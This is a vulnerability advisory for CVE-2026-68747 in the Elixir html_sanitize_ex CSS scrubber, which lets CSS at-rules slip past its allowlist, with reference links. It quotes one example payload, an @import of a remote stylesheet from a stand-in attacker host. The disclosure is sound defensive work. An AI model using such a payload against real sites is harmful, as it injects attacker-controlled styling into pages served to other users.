Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'...
🔗 CVE IDs covered (1)
📋 Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.
Element boundaries are resolved before the scrubber runs, so injected content does not escape the element and no script executes.
This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
🔗 References (7)
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7
- https://nvd.nist.gov/vuln/detail/CVE-2026-68747
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://osv.dev/vulnerability/EEF-CVE-2026-68747
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28
- https://github.com/advisories/GHSA-g72r-5wgp-6532